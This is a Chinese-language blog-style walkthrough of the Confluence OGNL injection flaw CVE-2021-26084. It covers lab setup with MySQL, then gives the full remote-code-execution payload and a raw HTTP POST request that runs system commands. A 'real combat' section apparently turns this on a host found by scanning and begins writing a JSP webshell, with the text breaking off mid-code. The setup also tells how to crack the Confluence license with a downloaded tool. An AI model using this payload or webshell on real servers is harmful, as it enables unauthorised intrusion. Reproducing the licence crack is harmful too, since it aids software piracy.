前言
Confluence Server、Confluence Data Center等产品存在OGNL 注入漏洞,允许经过身份验证的用户(在某些情况下的未经身份验证的用户)在 Confluence Server或Confluence Data Center实例上执行任意代码。
一、环境搭建
1、搭建 JAVA 运行环境
命令:sudo apt install openjdk-8-jre-headless
安装成功
2、配置MySQL库
去下载 MySQL 下载地址:https://downloads.mysql.com/archives/community/
接着依次输入如下命令
mkdir mysql5.7.37 //创建文件夹
mv mysql-server_5.7.37-1ubuntu18.04_amd64.deb-bundle.tar /home/ubontu/mysql5.7.37
//移动文件至某一文件夹,注意后面是刚才创建的文件夹路径
cd ~/mysql5.7.37
sudo tar -vxf mysql-server_5.7.37-1ubuntu18.04_amd64.deb-bundle.tar //解压文件
sudo rm -f mysql-community-test_5.7.37-1ubuntu18.04_amd64.deb
sudo rm -f mysql-testsuite_5.7.37-1ubuntu18.04_amd64.deb //删除两个测试相关的包
sudo dpkg -i mysql-*.deb //用dpkg进行安装
sudo apt-get install libaio1
sudo apt-get install libtinfo5 //安装缺少的包
sudo apt --fix-broken install
sudo dpkg -i mysql-*.deb //再次dpkg进行安装
补充说明:
使用命令:sudo dpkg -i mysql-*.deb 安装时会因为缺少依赖关系报错
因此使用下面两个命令安装缺少包
在按照它所说执行命令,即 sudo apt --fix-broken install ,之后再次 dpkg 进行安装即可
但是我查看版本却是报错,说是没有密码
没办法,照着大佬的来做
sudo service mysql stop //停止 mysql 服务
sudo gedit /etc/mysql/mysql.conf.d/mysqld.cnf #修改MySQL的登录设置,暂时不校验登陆密码,即注释掉 symbolic-links 并添加 skip-grant-tables
sudo service mysql restart # 重启 mysql 服务
mysql -u root mysql # 免密登录mysql
update mysql.user set authentication\_string=password('root6666') where user='root'; //修改 root 用户的密码
flush privileges; //刷新生效
sudo service mysql stop //停止 mysql 服务
sudo gedit /etc/mysql/mysql.conf.d/mysqld.cnf //还原mysql 配置
sudo service mysql restart //重启 mysql 服务
mysql -u root -p //登录mysql
create database confluence default character set utf8 collate utf8_bin; //创建数据库
create user 'confluence'@'%' identified by 'confluence123';
//添加 confluence 用户
select * from mysql.user where user='confluence'; //看一下创建成功了吗
grant all on confluence.* to 'confluence'@'%' identified by 'confluence123'; //为 confluence 用户授权
show grants for 'confluence'@'%'; //看一下成功了吗
select @@global.tx_isolation, @@tx_isolation;
set global tx\_isolation='read-committed';
补充说明:
MySQL的登录设置修改后应该如下图所示
还原MySQL登陆设置就是如下图
3、安装并破解 Confluence
下载界面: https://www.atlassian.com/software/confluence/download-archives
6.12.2 - Linux Installer(64 bit) 下载链接: https://product-downloads.atlassian.com/software/confluence/downloads/atlassian-confluence-6.12.2-x64.bin
先修改文件权限,命令:chmod +x atlassian-confluence-6.12.2-x64.bin
安装文件,命令:./atlassian-confluence-6.12.2-x64.bin
然后就完成啦
安装完成之后通过访问 虚拟机的 ip+端口8090
PS:如果 ifconfig 命令没查到那么按照提示 sudo apt install net-tools 安装之后就能查到了
选择产品安装,下一步到下面界面,复制服务器ID
在服务器上停止 confluence 的运行,命令:sh /home/ubontu/atlassian/confluence/bin/stop-confluence.sh (注意路径,不清楚的可以切换到根目录后使用命令 sudo find -name stop-confluence.sh 查看)
从服务器上拷贝出文件 /home/ubontu/atlassian/confluence/confluence/WEB-INF/lib/atlassian-extras-decoder-v2-3.4.1.jar (路径同上查找)
命令:cp /home/ubontu/atlassian/confluence/confluence/WEB-INF/lib/atlassian-extras-decoder-v2-3.4.1.jar atlassian-extras-2.4.jar
下载破解工具并运行 破解工具 : 链接:https://pan.baidu.com/s/1Pi_ClXR6T4bLbJ-mPxYXtw 提取码:g3p5
之后再把文件重命名为 atlassian-extras-decoder-v2-3.4.1 放回原来路径下
命令:cp atlassian-extras-decoder-v2-3.4.1.jar /home/ubontu/atlassian/confluence/confluence/WEB-INF/lib/atlassian-extras-decoder-v2-3.4.1.jar
同时将 Mysql 驱动拷贝到同级目录
命令:cp mysql-connector-java-5.1.48.jar /home/ubontu/atlassian/confluence/confluence/WEB-INF/lib/
然后启动,命令:sh /home/ubontu/atlassian/confluence/bin/start-confluence.sh
输入授权码(即 key 里面的内容)
选择我自己的数据库
然后下一步点击空白站点;再下一步点击在Confluence中管理用户和组
之后这样就是成功了
二、漏洞检测
poc地址: https://github.com/0xf4n9x/CVE-2021-26084
下载解压后运行
竟然没有
直接试下传包吧
payload如下
queryString=\u0027%2b#{\u0022\u0022[\u0022class\u0022].forName(\u0022javax.script.ScriptEngineManager\u0022).newInstance().getEngineByName(\u0022js\u0022).eval(\u0022var isWin=java.lang.System.getProperty(\u0027os.name\u0027).toLowerCase().contains(\u0027win\u0027);var p=new java.lang.ProcessBuilder;if(isWin){p.command([\u0027cmd.exe\u0027,\u0027/c\u0027,\u0027whoami\u0027]);}else{p.command([\u0027/bin/bash\u0027,\u0027-c\u0027,\u0027whoami\u0027]);}p.redirectErrorStream(true);var pc=p.start();org.apache.commons.io.IOUtils.toString(pc.getInputStream())\u0022)}%2b\u0027
也就是发包
POST /pages/doenterpagevariables.action HTTP/1.1
Host: 192.168.223.129:8090
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 575
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
queryString=\u0027%2b#{\u0022\u0022[\u0022class\u0022].forName(\u0022javax.script.ScriptEngineManager\u0022).newInstance().getEngineByName(\u0022js\u0022).eval(\u0022var isWin=java.lang.System.getProperty(\u0027os.name\u0027).toLowerCase().contains(\u0027win\u0027);var p=new java.lang.ProcessBuilder;if(isWin){p.command([\u0027cmd.exe\u0027,\u0027/c\u0027,\u0027whoami\u0027]);}else{p.command([\u0027/bin/bash\u0027,\u0027-c\u0027,\u0027whoami\u0027]);}p.redirectErrorStream(true);var pc=p.start();org.apache.commons.io.IOUtils.toString(pc.getInputStream())\u0022)}%2b\u0027
可以看到返回包时存在漏洞的
换命令也可以
三、实战
goby扫描出目标主机存在该漏洞
查看当前路径
查看当前用户
列出路径下文件列表
在该路径创建一个jsp文件,命令:touch …/confluence/mmy.jsp
那么试一下能不能写入,命令:echo+1234455+\u003E…/confluence/mmy.jsp
能写进去,那么写个jsp小马进去
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {